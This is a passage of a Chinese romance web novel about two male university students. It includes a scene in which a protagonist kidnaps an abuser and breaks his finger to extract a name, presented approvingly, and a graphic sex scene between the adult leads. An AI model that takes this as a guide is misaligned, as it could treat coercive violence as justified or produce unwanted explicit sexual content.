白黎伸手粗暴地扯开他眼睛上蒙着的黑布。 强光骤然刺入眼睛,王泽凯下意识闭上双眼,等了好一会他才适应,然后迫不及待地睁开双眼…… …… 对面,程野正坐着。 他手里拿着一把小刀,打火机的齿轮磨过,发出轻微咔嚓声,火光从冰冷的刀面舔过,照亮他漆黑的眼。 白黎走到程野身后活动了下肩膀,脸上的表情依旧笑嘻嘻的,“总算解决了,他简直是我伺候过的男人里技术最差的那个,那玩意比金针菇还小,狗见了都摇头。” 王泽凯再傻,此刻也明白自己被下套了。 他试着挣扎,发现白黎绑得很紧。他一开始以为自己被仙人跳了,顶多就是给点钱,直到他对上程野那双漆黑的眼眸,才猛然想起他是谁。 “我知道你,那天你在江时身边……”他瞪大双眼,“你是江时的姘头?” “姘头?”白黎笑了声,“说话可真难听,你以为谁都像你一样啊蠢货,人家是正经的男男朋友关系……”他伸手在程野肩膀上点了点,“小哥哥,借个火呗。” 程野把打火机丢他怀里,“离我远点。” 他起身靠近王泽凯,居高临下地看着这张有些扭曲的脸。 “我问你,帮你的人是谁?” 被他看着,我王泽凯的后背起了一身的冷汗,“你、你说什么,我听不懂。” 程野办事一向利索,他不喜欢说废话,也不喜欢听废话。 “我再问一次,是谁?” “我都说了,我不知道,你放开我,你知道我呃……啊!!” 程野捏着他的手,硬生生折断了一节小指骨,“现在能说了吗?” 王泽凯惨白着一张脸,瞳孔因为惊惧瞬间放大。程野看了会,拿着刀背碰了碰旁边的无名指。 冰凉的触感让王泽凯猛地打了个哆嗦,整个人弹了一下,一股腥臊的味道传了出来。 “我、我说……是谢鸿,谢鸿帮我,让我去搞江时。” 他哆哆嗦嗦的,“我错了,我回去就给他道歉,我不是故意的,求求你放过,我给你们钱……” 程野拉着椅子坐在王泽凯跟前。 他收了刀,拿出手机,找到监控,当着他的面播放。 “江时说了,再有下次,拔了你的牙。” 程野说得平淡,可看他的眼神,王泽凯相信他完全能做得出来。 “不、不要,你们绑了我,这是犯法,我要告你们!” 白黎咬着烟,脸上带着和他白嫩面容完全不搭的讥讽,“告我们?你还是先想想你这些年干了些什么事吧?” 他丢下烟头踩了一脚,“呸!恶心,不知道祸害了多少人。” 另一边,程野收了手机,他像是告知,完全不管王泽凯在说什么。 白黎看了眼,转身出了屋子。 门外面守着两个黄旭尧的人,三人站在走廊上,下一秒,惨叫声就传了出来。 白黎不觉得惨,他只觉得畅快。 他们找到他的时候,他看了资料,王泽凯这些年祸害的人不只来到江城的这几个。 他在高中的时候就是个惯犯,专挑那些家庭困苦自闭的女孩子下手,甚至好些都是未成年。 他以为给钱就能完事大吉,可受到的伤害呢? 跳河、自杀、辍学…… 原本光明灿烂的人生全毁这个人渣手里。 …… 不到几分钟程野就出来了。 外头阳光灿烂,筒子楼里阴暗潮湿,走廊连窗户也没一扇,程野的脸淹没在阴影里。 他问白黎,“录音呢?” 白黎从兜里掏出一个优盘递给程野,他上下扫了眼他,语气轻佻,“其实钱什么的都好说,勾引这种货色我只觉得脏了我的手,但你不一样……” 他伸手想碰碰程野,被程野侧身避开了。 白黎笑了声,无所谓的收回手,“这么在意?是为了那个叫江时的吗?” 程野说:“钱会打到你卡上,必要时麻烦你当个证人。” 说完,他朝白黎伸出手。 “干嘛,要我联系方式啊?” “打火机,还我。” 白黎:“……” 死抠男- 江时的第二笔工资到账了,五百块。 他大手一挥,决定请客。 第一个联系的张池,张池听了很高兴,“我们去醉仙居吧。” 江时:“……” 他道:“我只有五百,不是五万。” 张池:“那吃什么?” 这是个问题。遇事不决,江时决定问程野。 程野不知道在干什么,一大早人影看不见一个,打电话倒是接得快。 “在路上,快到家了,给你买了你喜欢的那家烤鸭。” 江时说:“程野,我工资到了,我要请客。” 程野挑了下眉,“请谁?” 江时掰着手指头,“挺多的,你,张池,还有宋建安,左回帮了我好多忙,也要请他,还有王卓和刘满他们。” 凑一凑,都要有一桌了。 “那你预算是多少?” “我就五百,不能全用来请客吧?三百怎么样?” 程野说:“那预算很充足了。” 江时:“……” 他一本正经的,他差点都没反应过来是在阴阳他。 果然,最近还是给他太多好脸色了。 江时气得挂了电话,想了想,干脆直接建了个群,在群里问他们想吃什么。 吃喝玩乐张池最有经验。 【听说郊外新开了一个露营地,我们去吃烧烤吧?】 江时觉得这个计划可行,刚好最近入了秋,天气舒服,烧烤食材还花不了那么多钱。 第二天周日,江时打算今天晚上把食材买了。 程野回到家,看见的就是盘着腿坐在沙发上拿着本子写东西的江时。 鉴于他刚刚的阴阳怪气,江时看见他,连个好脸色也没有。 程野自顾自地去换了衣服,洗了澡,洗掉身上染到的潮味后才坐到江时身边。 他歪头看了眼。什么牛肉五斤、虾三斤、土豆四斤…… “你这是要干什么?” 江时转身背对着他,“跟你没关系。” 他决定不请程野了,连群都没拉他进去。 但人群里藏了个缺心眼的,小六以为是江时忘记了,屁颠屁颠地把程野拉了进去,还特地把计划@给他看。 程野拿着手机看了会,“吃烧烤啊。” 江时不说话。 程野厚脸皮的凑过去,“东西太多了,这几个人哪里吃得了这么多,而且你预算超了。” 一听预算超了,江时立刻停下笔,他拿起本子看了看,“这才几个菜,哪里就超了?” 程野拿过他手里的笔,“东西是不多,但你买得多,牛肉五斤,五花肉五斤,买那么多肉干什么?他们吃不明白的。” 他把五斤牛肉改成两斤,五斤五花肉也改成两斤,加了些便宜的蔬菜进去,想了想,又加了冷冻丸子。 “别给他们吃太好,他们的肠胃不习惯。” 江时:“……” 在程野的暗箱操作下,江时三百的预算缩减到了两百五,剩下的五十买了条鱼晚上加餐。 周日这天万里无云,秋高气爽。 张池说的露营地大约四十分钟的车程,他一早就来接江时,挤开程野,坐在他身边叭叭。 “独家消息,谢鸿摊上事了。” 江时手里的早餐顿时不香了,“什么?” 张池道:“事情被压下来了,我是从我舅那里听到的。” “不过这事说起来他还有点冤,主要是因为他身边的一个狐朋狗友,那人还是你们学校的……”说到这里他顿了顿,“也不知道你认不认认识,好像是叫王什么凯?” “王泽凯?” “啊对!就是这个名字,你认识他啊?” 江时心底浮上一抹有些怪异的感觉,“认识,我室友。” 张池呆住了,“世界可真小。”他拉着他的手左右检查,“我靠,那玩意人面兽心的,你长这么好看,他没对你怎么样吧?” 江时下意识朝程野看去,对方拿着地图跟前面的司机沟通,也不知道听没听见。 “没。”他收回目光,“没干什么,就发生了点口角,后面就没说过话。” “那就好。”张池松了口气。 “你知道他干什么吗?那家伙太恶心了,男女通吃,专挑没背景的少男少女下手,强奸了好几个未成年,都被家里用钱给摆平了。最近踢到铁板,被捅了出来。” “不过我怀疑是谁盯上了他,原本作罢的那些未成年家属现在联合起来要告他,他家里人甚至都没反应过来,人就被摁到了警察局。” 这几日,王泽凯看江时的目光越来越恶心,甚至扬言他嚣张不了几日,没想到才不过短短几天,就发生了这样的事。 “那跟谢鸿又有什么关系?” “王泽凯读大学这段时间祸害了两个女生,当然了,不是强奸,但女生也是被他的花言巧语给骗了,事后女生要闹,是谢鸿给他摆平的。” “报警的那个服务员,说是谢鸿强迫他跟王泽凯在一起的。” 这种事,江时见得多了,“以谢家的能力,不至于解决不了吧?” “害!你是不知道他家现在什么情况。他妈走了还没两年,他爸就娶了个后妈,还带着个五岁的儿子,他后妈天天就等着抓他错处,好不容易逮到了,哪能轻易放过。” 说着,张池幽幽叹了口气,只是眼里全是幸灾乐祸的光芒。 “我们眼睛长到天上去的谢大少,接下来的日子可不好过咯。” 第77章 张池说了这事还没几天,王泽凯就退学了。 这件事造成的影响很恶劣,警方将事情压了下去,学校对外的说辞是王泽凯自己主动退学的。 江时他们班本来就少的男生顿时变得更加少了,班里女生戏称他们为三朵金花。 班里就三个男生,江时长得又很打眼,专业课他压根不敢逃,天天背导游词背得心烦,实在想不通他一个理科生为什么会被调剂到这个专业。 王泽凯退学之后黄旭尧找过他。这位哥是个大忙人,打电话都抽等飞机的间隙。 当时江时正在食堂打饭,他上午满课,哪怕一下课就直奔食堂,但还是排了很长的队。看见电话,他索性不排了,拿着手机出了食堂。 “吃饭了么?” 江时挎着包打算去超市买泡面。 “托你的福,要不是你这个电话,差点就吃上了。” 黄旭尧笑了声,“改日来江城请你吃饭。” 他回回都这么说,也不见真的请过,“你找我就为了说这个?” “跟你联系下感情也不行?” 江时不认为自己跟他有什么好联系的,果不其然,下一秒黄旭尧就开口了,“你那个朋友,程野,你们关系好么?” 他很谨慎地,“……就一般同学关系吧。” “同学关系有待商榷,关系的话,我看不一般吧?” “你到底想要说什么?” 黄旭尧的声音终于正经了起来,“我之前是不是跟你说过让你远离他?” 他道:“到今天为止,我还保持这个观点。江时,你不适合跟他走太近。他这个人,野心重,心思深,偏偏还不愿意甘于人下,跟他走太近对你没好处。” 江时找了个长椅坐下,想了想,语出惊人,“不瞒你了,其实我们是那种关系。” 黄旭尧愣住了。 好一会他才反应过来,“你们是……” 他想问那种关系是什么关系,但能这么说出来的,还能有什么关系?这下,很多他疑惑的举动顿时变得合理起来,难怪程野愿意为了江时来求他。 圈子大了,什么人都有,黄旭尧不是没见过同性恋。虽然他不知道江时的性取向,但听他跟一个男的在一起,也没觉得有多惊讶。 出于一个长辈的考虑,他还想再劝劝江时。但他也知道,热恋中的男女都一个样,过多的劝阻只会加剧他们想要在一起的决心。 他收起没说出口的话,笑着道,“你的小男朋友可不简单。” 江时问他,“他怎么了?” 黄旭尧却不说了,转移话题,“他还不知道我们认识吧?” “暂时不知道。” “这样啊……”黄旭尧又笑了,“那我很期待真相大白那天,想看看他是什么表情。” 他挂了电话,看着安静放在膝盖上的企划,没忍住又翻了翻。助理给他递上机场的快餐,见他一直在看,没忍住问道:“黄总,这个是有什么问题吗?” “没有问题,相反,这份企划很有见地。我一直以为他只是个只会做游戏的穷小子,现在看来,他的目标根本就不是游戏,而是想打造一个全新的智能时代,之前倒是我小瞧他了。” 程野是有野心,可支撑他野心的是他独到的眼光和敢做想做的魄力。但他也有个致命的缺点,资金不够。 这也是他当初为什么来找黄旭尧合作的原因。 助理说:“那江时那边……” 他知道黄旭尧和江时认识,可当时程野找上他,他却利用江时让程野硬生生让利一个百分点。 黄旭尧打开盒饭,包装精美的底下却是没滋没味的饭菜,他吃得皱了皱眉,“江时怎么了?” 助理琢磨不透他的心思,只能老实开口,“如果当时程野不同意,我们是不是就不帮他了?” “那也不至于……”黄旭尧笑眯眯的,“我是商人,又不是慈善家,求我办事,怎么可能一点血都不出?我和江时怎么样那是我跟江时的事,这跟程野求我不冲突。只是我没想到以程野的性子,他会同意得那么干脆。” 现在想来,一切都有了解释。 “对了……”他道:“那几个受害者不是还在找律师吗?李律师闲着也是闲着,让他来干点活。” 助理听着他的话,打电话去了。 另一边,江时挂了电话总觉得有点不对劲,还没等他思索出什么来,程野的电话打过来了。 “吃饭了没?” 江时说:“吃了。” 程野沉默两秒,“挺好,几天不见,都学会撒谎了。” “……” 都马上一点了,下午还是满课,江时想回去睡觉。他觉得一顿不吃没什么,但程野跟个老妈子一样,自己忙得凌晨两点还在看文件,却要管他一日三餐吃没吃。 程野说:“给你点了外卖,应该快到了,吃了再睡。” 近两年外卖才兴起,点的人不多,外卖小哥甚至还送到宿舍门口。 江时拎着外卖回去,左回在吃泡面,看着江时坐在位子上,伸手解开袋子,盖子还没掀开,香味就飘了出来。 手里的泡面顿时就没滋味了。 “你点的什么,怎么这么香?” 江时看了眼,三道菜,配了盒米饭,菜都是他喜欢的,米饭压得很实,颗粒饱满,里面的菜也是,光看着就食欲动人,怎么看也不像普通外卖的样子。 饭菜分量很多,江时问左回,“要吃吗?” 左回捧着泡面虔诚地就过来了,“你就是我的再生父母。” 江时挑了点肉给他,视线往旁边看了看,“瞿安不在吗?” 瞿安是那个格外社恐的室友。 “他啊?”左回道:“好几天中午都不在,也不知道干嘛去了。” 人没在江时就没管,吃了饭下午还要去上课。 下午第一节是公共课,江时中午没休息好,来到教室时人恹恹的,靠后的位置也没有了,他随便选了个中间的位置坐下。 左回来得比他晚一些,一放下书,就鬼鬼祟祟地凑近江时,“我刚刚都看见了,好些人在偷偷瞅你。” 江时打了个哈欠,只想睡觉。 左回又道:“都这么久了,也不见你谈个恋爱,怎么?是没喜欢的吗?” 江时看了他一眼,“你怎么知道我没谈?” 左回愣住了,然后“靠”了声,“你有对象了!” “不是,怎么没听你说过?” 江时道:“你也没问啊。” 左回:“……” “不是……真的假的?我就没见你跟哪个女生走在一起过,异地的话,也没见你打电话?就你这高冷的性子,除了程野,谁能天天找你?” 他开玩笑道:“你总不能跟程野谈吧?” 不得不说,无形当中,他真相了。 左回没当回事,也不相信江时真能跟程野谈。他实在好奇得紧,忍不住问,“你们什么时候在一起的?” “高中吧……” “那谁追的谁?” “当然是他的追的我。” “也是,你长得好看,追你也正常。” “那……” 江时打断他,“老师来了。” 左回咻地一下溜了回去。 老师站在讲台上调试麦克风,身边传来学生们窸窸窣窣的说话声,江时困得眼睛皮往下掉。 他用手枕着脑袋,迷迷糊糊闭上眼,耳边忽然传来一道低沉的声音,“麻烦,让个路。” 江时愣了两秒,觉得自己出现了幻听,直到他身边落下一道阴影。 他扭头,高大男生朝他挑了下眉,露出一个有些痞气的笑。 “同学,介意我坐你旁边吗?” 江时缓了两秒,“你怎么过来了?” 程野道:“有的人天天满课,他不来找我,只能我来找他了。” 天气渐冷,江时套了新买的黑色卫衣,肤色衬得如玉一样白。程野也是一身黑,只是那外套高中的时候就见他在穿,袖口都被磨得发白了也不见换。 他从包里掏出一个盒子放在江时跟前,“之前你不是说钢笔被你不小心弄丢了吗,给你重新又买了支。” 江时打开盒子,发现里面躺着一支崭新的钢笔,和他之前摔碎的那只一模一样。 其实摔之后他有偷偷查过,钢笔是一个老手艺人手工打造的,一支的话少说也要好几千。贵是一回事,主要是制作周期长,一支钢笔要等好久。 他以为程野早忘了,没想到其实一直都记着。 老师在讲台上拖长着音调念PPT,下面,江时踢了程野一下,“不是说了不要吗?” “不贵,没几个钱。” 江时咬牙,“你还真当我什么都不知道啊?” 他现在一个月生活费也才一千五,一支钢笔快半年的生活费没了。 “都说了现在不写钢笔,你花那个冤枉钱干什么?” “不是冤枉钱。”程野说:“你喜欢。” 要是不喜欢,江时也不会军训的时候随身带着。 他把几大千的笔拿出来随意别在江时的书页上,“好看,留着装逼。” 江时:“……” 他简直服了程野的消费观,伸手扯了把他那件旧外套,“那你呢,是没钱吗,天天穿着这个干什么?” 程野低头看了眼,“怎么了?我看着挺好的。” “哪里好了?你自己看看,都旧成什么样了?” 当事人表示很无所谓,“旧而已,又不是坏了。” 江时道:“国庆的时候我不是送了你件外套吗?” 程野“嗯”了一声,“你送的,我放衣柜珍藏了。” “……” 江时给笑了。 “干脆直接给你个框,让你裱起来呗?” 程野:“……” 顿了顿,他说:“会不会太隆重了点?” 第78章 原来人无语到极致真的会笑。 江时把手里的书翻得哗哗响,“行,你爱怎么穿就怎么穿,反正被骂寒酸的也不是我。” 程野看了他几秒,凑过来,“你生气了?” 他不是很能理解,“为什么生气?” 他问得真诚,江时却听得生出一股无名火。 他也不知道自己为什么生气,只是每次看见程野对自己不好,心里总觉得难受。 他知道程野从小就过得苦,吃不饱穿不暖是常有的事,后来长大了点,才凭借双手把自己过得勉强像个人样。 江时没见过程野小时候的样子,可光凭他说的那些只言片语拼凑出来的画面,就足够让他心里很不是滋味。 可能是因为小时候没人爱,现在大了,他反而希望程野能对自己好一点。 结果呢?程野把钱全都花他身上了。 他柜子里的衣服都快堆不下了,反观程野,穿来穿去就那几件,只要江时不给他买,他能把那几件旧衣服穿到天荒地老。 赚钱的苦愣是一点没少吃,花钱的快乐全让江时体验了。 江时有点头疼。 坐在他旁边的程野思考了会,觉得自己找到了他生气的理由,“你是觉得我穿得便宜,显得寒酸,跟你走在一起丢脸?” 他低头看看自己洗得有些发白的裤子,又看了看光鲜亮丽的江时。 他不懂时尚,所以每次给江时买衣服都挑着贵的买。 江时长得好看,穿什么都好看,他一身寒酸的站在他身边,看起来不像情侣,也不像朋友,倒像是少爷和跟班。 瞬间,程野的心里拉响警铃。 这都什么跟什么?江时皱着眉头,“我没有嫌弃你的意思……” 程野说:“我知道了,我回去就开始买衣服。” 江时:“……” 你又知道什么了? 程野是真的觉得无所谓。对他来说,只要不光着身子,穿什么都一样。反正他人活得糙,丝绸穿在他身上,手上的厚茧都能把丝绸给刮坏了。 可江时不一样。对他来说,少年就像是件金贵易碎的瓷器,他得供着、养着、小心的捧着。 他知道他吃了许多苦,可江时和他在一起,不是来跟她一起吃苦的。 程野的确穿什么都无所谓,可要是有人觉得他配不上江时,那就很有所谓了。 讲台上的老师PPT念累了,干脆找了个视频让大家一起看。 程野把江时放在桌子前面的手机举起来对着自己照了照。他最近天天都在加班,一天基本上只睡三四个小时,哪怕精力再旺盛,神情看起来不免憔悴了些。再加上他本来就长得比同龄人成熟,往江时身边一坐,看着都不像一个年龄段的。 他放下手机,眼神警惕地往周围扫了一圈。 刚刚坐下的时候他就发现了,教室里好些人都在偷偷打量江时,有女的,也有男的。 大学里多的是青春洋溢的男大学生,讲话又好听,穿衣打扮也很帅气。要是江时看他看腻了,来这么一个人在他跟前晃一晃,把他勾去了怎么办? 程野想,他的确该捯饬捯饬自己了。 他眼底的神色变来变去,江时全当他在发神经。 他把书垫在手肘下,把脸靠上去,“你帮我看着点,我要睡觉了。” 或许是因为程野在身边的原因,哪怕在嘈杂的环境里,江时依旧睡得很沉。 等他睡醒已经到了下课时间,接下来的两节是专业课,程野跟着他去太显眼,他便让他在外面等着他。 江时拿着书伴随人流朝另外一栋教学楼走去,走了一段距离,身后传来喊他的声音。 他回头,班长朝他晃了晃手里的书,“等等我一起啊。” 班长叫蒋霏,个子高,穿得也很中性。 她单手插着兜,两三步跨到江时身边,“刚刚大课的时候我看见了,你那个朋友又来找你了。” 程野的身高和长相很显眼,基本上见了一次很难忘掉。 “对,不过下节是专业课,我让他在外面等我。” “噢……”蒋霏拖长音调,状似无意地开口,“你们关系很好吗?” 江时依旧很谨慎的,“还行吧,就是一般的同学关系。” 蒋霏不说话,露出一个意味深长的笑。 她的笑看得江时心里毛毛的。 “其实有个问题困扰我很久了……”江时犹豫道:“不知道是不是我的错觉,我总感觉班里的人看我和程野怪怪的。” “啊这……”蒋霏愣了几秒,“大家表现得有这么明显吗?” “……” 都这样了,还发现不了,江时就要怀疑自己的眼睛有问题了。 他朝蒋霏道:“那可以告诉我是为什么吗?” “可以倒是可以,不过我觉得你应该没有那么想知道。” “??” 两人走到班级门口,蒋霏凑在他耳边道:“这一切的一切要从几年前的一本镇楼文说起,回头我把书名发给你,感兴趣的话可以搜搜看。” 江时听得云里雾里,还没反应过来就被左回从身后来了一个肘击,“不是吧你,走了都不等我,跟班长偷偷摸摸的说什么呢?你们之间有猫腻。” 江时回他一个肘击,“有个屁,上课了。” 蒋霏很讲信用,上课的时候就把书名发过来了。 江时偷摸打开手机,低头一看—— 《许你时光有野》?? 什么狗屁不通,毫无逻辑的文艺书名。 还没等他领会书名的含义,蒋霏接着连发两条消息过来。 【看之前我劝你做好心理准备,不过小说是小说,现实是现实,江时同学看完千万别想太多。】 【我们都知道你跟程野清清白白,绝对没有其它关系。】 【对了,回去一个人的时候再搜来看。】 “……” 很奇怪。 蒋霏说的话奇怪,这个书名看着也奇怪。 但江时看了半天,也没想通到底是哪里奇怪。 想着她说的回去再看,他只能暂时歇了搜来看看的心思,老老实实上课。 今天是周五最后一节课,一下课,江时连书都没放回宿舍,就被程野带回了家。 天气渐冷,树上的叶子逐渐掉完,只剩下光秃秃的枝干。才刚六点天就黑了,路灯亮起来,枝干在黑色夜幕里张扬。 不过外面萧瑟的深秋影响不了屋里的温度。 江时馋了好久的火锅,今天程野终于给他安排上。 冷冷的天气和火锅果然是绝配,不知不觉间江时吃撑了 他瘫在沙发上消食,看着程野把锅碗收拾干净,又勤劳地拿着拖把把家里的地拖了个遍。 拖完了,程野解下围裙告知江时,“待会儿我要开一个线上会议,大概半小时左右。” 江时大爷一样跟他挥了挥手,示意他退下。 程野没退,敛着眉看了他几秒,忽然蹲下身,伸手摸了摸他的肚子,“好像多吃了点。” 江时小猪一样拱了几下,把他的手扒开,坚决不承认自己吃多了,“没有没有,我觉得刚刚好。” 程野把人从沙发上拽起来,“别躺了,走两圈消消食。” “我不……” 下一秒,他的屁股就被捏了一下。 “那来做点饭后消食运动?” “……” 江时踩着拖鞋沿着客厅的茶几吧嗒吧嗒的转,边转边看程野。 程野被他看得有些好笑,笑完又觉得有点气。 手机震动个不停,是那边的人在催了。 他只能先放过江时,去另一间单独开辟出来当书房的次卧开会。 江时在客厅里溜达了十多分钟,觉得消化得差不多了,拿着衣服洗澡上床。 他靠在枕头上团了团被子,像是忽然想起什么,掏出手机找到和蒋霏的聊天记录。 复制文字,找到搜索框粘贴进去。 江时翻了个身,莫名觉得有些紧张。他咽了咽口水,才按下确定搜索的按钮。 程野原本半小时的会议拖到了四十多分钟才开完。 他挂了视频,揉了揉眉心,仰头靠在椅子上,缓缓吐出一口浊气。 很多事情想是一回事,当真正操作起来又是另外一回事。 在王卓他们眼里,他一直以来都是成熟稳重、运筹帷幄的样子,可其中的处境只有程野自己明白。 此刻的他脚底踩的是钢丝,走的每一步看似很稳,实则左右都偏差不得。 他和其他人不一样,他没有失败的成本。 程野坐了两分钟,心思逐渐被其它东西代替。 他起身关灯,出门,飞快洗了个澡,推门进去时江时还没睡,正背对着他看手机。 他看得很入迷,程野在门口站了两分钟丝毫没有反应。 手机屏幕照亮江时的脸,他秀气的眉毛紧紧皱在一起,可脸上却浮着不正常的红晕。 程野挑了下眉,悄无声息地将门合上,走近床边,弯腰,低头。 …… “王野把张时抵在墙上,他的薄唇三分讥笑七分漫不经心,冷酷的眼里闪烁着霸道的光芒,‘男人,我知道你这样做是为了吸引我的注意。你成功了,此刻,我的心只为你而跳动。’” “张时漂亮的脸蛋上全是倔强的神情,‘王野,你放开我,你根本不知道我想要的是什么!’” “王野的手顺着他的衣服往下摸,熟练地抚摸、挑逗,‘你想要的不就是这个吗?’” 江时猛然一惊,回头发现程野不知道什么时候靠在他身后,一本正经地念出这么羞耻的话。 他下意识想将手机藏起来,结果刚一动,手就被程野扣住。 “慌什么?还没看完呢。” 他就着江时的手指往下滑了滑,目光逐渐变得意味深长。 程野的声音很有磁性,讲话时连着胸腔一起震动,在夜色里听着格外性感。 他开口。 “张时,你不就是想要我操你么?” “多操操,把上下两张嘴操松、操软,就乖了。” 第79章 江时:“!!” “不是……”他涨红着脸,“你怎么什么都往外念?” 程野欺身上床,顺势把江时手里的手机抽出来,再往下的内容就是满屏的嗯嗯啊啊。 他看得很快,不知道的还以为在看什么严肃文件。 江时羞耻得不行,翻身爬起来,伸手去抓他手里的手机。程野把手机举高,另一只手覆上江时的腰,不知道捏到哪里,怀里的人顿时软了下来。 他翻身把人压在身下,手机放在枕头上,一手锢着腰,一手钳着脖子,身子交叠在一起,目光齐齐落在枕头上的手机界面上。 “张时、王野……少爷看的东西还挺别致。” 干燥的掌心贴在喉咙上,江时滚了滚喉结,声音有点沙哑,“不是我……是班长给我的……” 他万万没想到里面主角即视感这么强。 程野抽着手翻了翻,“这样啊……那我们来看看这段……” 他慢条斯理地念,“王野,整个一中最浪荡的学生,抽烟喝酒打架样样会,但张时不一样,他听话、乖巧,是老师同学眼里的好孩子。在外人眼里,他们是水火不容的死对头,但没人知道,他们私底下在床上也打得不可开交。” 手机翻到下一页。 江时看到上面的内容,眼睫颤了颤,顿时有些难堪地闭上眼睛。 程野靠在他耳廓,吐息很热,低沉的声音传进耳朵。 “张时平时穿得很禁欲,衣服扣子永远扣到最上面一颗,校服也规规矩矩地拉着,只有王野知道,这具衣服包裹下的身躯有多么诱人。” 他伸手撩开江时的T恤,细腻的白在眼底晃,腰肢塌陷,很细,但不柔软,带着男性具备的韧劲,舒展间,也能看见薄薄的肌肉走向。 手掌贴上去时,敏感的在他掌心抖了抖。 程野点评,“的确很诱人。” 他接着往下念,“王野的手亲自撕张时的衣服,少年的皮肤如同刚冒尖的新芽一样嫩,手一掐,就红了一片,特别是两条腿,又长又直,中间……” 江时听不下去了,伸手捂住程野的嘴,“你别念了……” 程野伸着舌头从他掌心刮过,温度滚烫,带着黏腻的触感。江时被他舔得一哆嗦,松开了手。 “程野,你……” 程野笑了声,“写得不错,少爷的腿确实好看。” 窄窄的腰在眼底颤,他没了读下去的心思,丢了手机,拍了下江时的屁股,声音平淡。 “江时,屁股翘起来,趴好。” 江时僵着没动,听着身后窸窸窣窣的动静,还没来得及动作,腿心挤进火热。 他没趴稳,一头栽了下去,然后被程野捞起来。两人挨着,贴得很近,衣服滑下去,被他的手撑起。 起着冷风的夜晚,江时闷出一身黏腻的汗。 他能清晰的感觉到挤压、碰撞的轮廓,细小粘稠的声音从底下传上来,程野的手扶着他的腰,动作是一贯的强势,讲的话比小说里还不堪入耳。 他一贯如此,在床上从来不遮掩,衣服一脱,仿佛披在身上的皮也一并脱了下去,那双眼睛暗沉沉的,面皮浮动着潮红,喘息的声音比江时还大。 程野很喜欢江时的腿,被长裤捂着,常年不见光,像玉瓷一样白,并着时大腿有些丰腴的肉贴合在一起,连条缝也看不见,但只要稍微挤压,奶豆腐一样肉就会晃动着散开,破开成他的形状。 他压着人,俯着腰,贴在江时耳边,落下密密麻麻的吻,热气喷洒进耳廓,讲一句喘一下。 “少爷好骚。” “宝宝水好多,落在床单上可惜了,应该张着腿给我喝。” “真敏感,还没进去就泄了。” “别咬着嘴,叫出来。” “少爷叫得真好听,喂你吃*好不好?” …… 江时脸皮薄,这种话无论听多久都不习惯,但他都自顾不暇了,自然捂不了程野的嘴。 听得生气了,也只是使劲并着腿,下一秒,身后的人就不动了。 窗户把味道封锁住,江时被捏着下巴压在枕头上亲。程野咬他的舌头,把人玩得脸上涨红才松开嘴。 “学会使坏了。” 江时舌头发麻,嘴里全是另一个人的味道,手脚发软,再怎么生气也只会骂—— “狗东西。” 狗东西就着污浊伸着手指,长手长脚地困着江时,夜还很长,他动作没有一开始那么急躁。像是在亲手剥开一颗熟透的水蜜桃,碾开了皮,挤出里面的汁水。 他当着江时的面张开两根水盈盈的手指,在他迷蒙的眼神里,张嘴含住。 “甜的……”- 蒋霏忐忑了一夜,不见江时有任何回复,第二天一早,忍不住发消息问他。 【你看了吗?】 江时下午才回她消息,只有简简单单六个点。 【……】 蒋霏:“……” 她很忐忑的打字。 【怎么了吗?】 还能怎么了?江时捂着自己的屁股,在被子里艰难翻身,欲哭无泪,他简直被这本小说害惨了。 【这玩意是谁写的?】 【作者笔名叫英子今天不吃肉,至于她是谁,这我就不知道了。】 这个时候,腐女们还是一群圈地自萌的群体,大家都只躲着暗搓搓的嗑cp,没人敢对外说自己的兴趣爱好。 这本小说之所以火,是因为当时盛行青春疼痛文学,这名字一看就很青春疼痛,吸引了很多人点进去,然后…… 其描写之香艳,其车速之豪迈,给无数青春期的女孩子们带来难以言说的震撼,久而久之,就成了镇楼神文,每一个入圈的新人都要去瞻仰一番。 至于为什么全班的人都知道…… 这要从一条群消息说起。 江时不知道的是,班里还有第二个群,一个全是女生的群,里面聚集了无数八卦以及对班里另外四个男生的评头论足,当然,长得好看的江时讨论得最多。 但江时好看归好看,性格看起来冷冷的,没人敢跟他说话,直到一个女生不小心往群里发了个链接。 那时候还没撤回这个功能,不到一天,所有女生都看了这本名为《许你时光有野》的小说。 那叫一个惊为天人,那叫一个酣畅淋漓…… 然后看江时的眼神就很不对了。 知道真相的江时:“……” 蒋霏还在安慰他。 【我知道这肯定不是你,大家也只是磕磕CP,绝对不会影响你的正常生活的,我们都知道,小说是小说,现实是现实,你总不能真跟程野那啥吧?】 腰酸背痛的江时:“……” 他又翻了个身。 【那名字怎么回事?】 蒋霏哪知道怎么回事。江时还能是巧合,程野的出现就很微妙了。 小说里的张时是个身娇体软易推倒的美人,江时美归美,但即视感没那么强,程野一出现就不太一样了。 张时是巧合,但张时跟王野…… 蒋霏缩了缩脑袋,不敢往下想。 【啊哈哈……可能是巧合呢?】 天底下哪有那么多巧合? 江时拿着手机,再次点开这本小说,从大段的动作戏里开始寻找少得可怜的剧情。 才翻了几页,门口传来脚步声,他几乎是瞬间就关了手机,一抬眼,程野刚好推开门。 还没看清床上的人,枕头就砸在了程野脸上。 “程野你怎么一点礼貌也没有,进来也不知道敲门。” 程野抓住枕头,估摸着是昨天玩得狠了,小祖宗开始找茬。 他很谨慎的回答,“下次一定。” 江时说:“你给我滚出去。” 程野滚到床边,把人捞起来,“都下午了,少爷得起来吃饭。” 江时现在听见少爷这两个字就想揍人,他在程野怀里蛄蛹了下,没蛄蛹出去,抬脚往他身上揣,“你放开我!” 程野身上肌肉硬邦邦,打不还手,骂不还口,床上床下两个样,麻利给江时穿上衣服,把人抱出了房间。 江时屁股刚挨着板凳,手里就多了碗饭,桌子上香喷喷的味道刚传进鼻子,肚子就唱起了空城计。 委屈谁也不能委屈自己,江时塞了口饭到嘴里,还不忘瞪着程野,“我跟你讲程野,我忍你很久了。” 程野洗干净手给他剥虾。 他原本短短的头发留长了些,发梢垂在眉上,柔和了本就锋利的眉眼。他最近终于舍得给自己买些新衣服,穿着件灰色长袖T恤,领口宽松,露着锁骨,指尖翻转,一个完整的虾仁从壳里剥出来。 看起来莫名多了丝温柔。 他把虾放在江时碗里,“瞧着你刚刚踹的劲,完全看不出像是在忍我的样子。” 江时:“……” 他把虾塞嘴里,当成程野在嚼。 “人模狗样的东西。” 程野也不生气,看着他的样子,称述事实,“我看少爷看得忘乎所以,自然以为你喜欢。既然你喜欢,那我说什么也得满足你。” 江时道:“我看你满足你吧。” 程野笑了,“我的确很满足。” 简直是…… 烧得没边了。 江时没眼看,低头吃饭,然后又听见对面的程野缓慢开口。 “少爷最上说着不喜欢,底下的水流得比谁都欢。” “呵……” “口是心非的小坏蛋。” 第80章 